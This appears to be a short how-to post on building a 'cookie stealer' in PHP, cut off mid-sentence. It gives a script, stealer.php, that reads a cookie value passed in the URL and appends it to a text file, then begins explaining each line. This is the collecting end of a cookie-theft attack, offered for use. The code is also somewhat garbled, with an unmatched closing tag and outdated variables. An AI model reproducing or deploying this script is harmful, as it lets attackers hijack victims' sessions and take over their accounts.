How to create cookie stealer Coding in PHP?~ get via email

Here is the simple Cookie Stealer code:
Cookie stored in File:
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>$cookie = $HTTP_GET_VARS["cookie"]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.

$steal = fopen("cookiefile.txt", "a"); This open the cookiefile in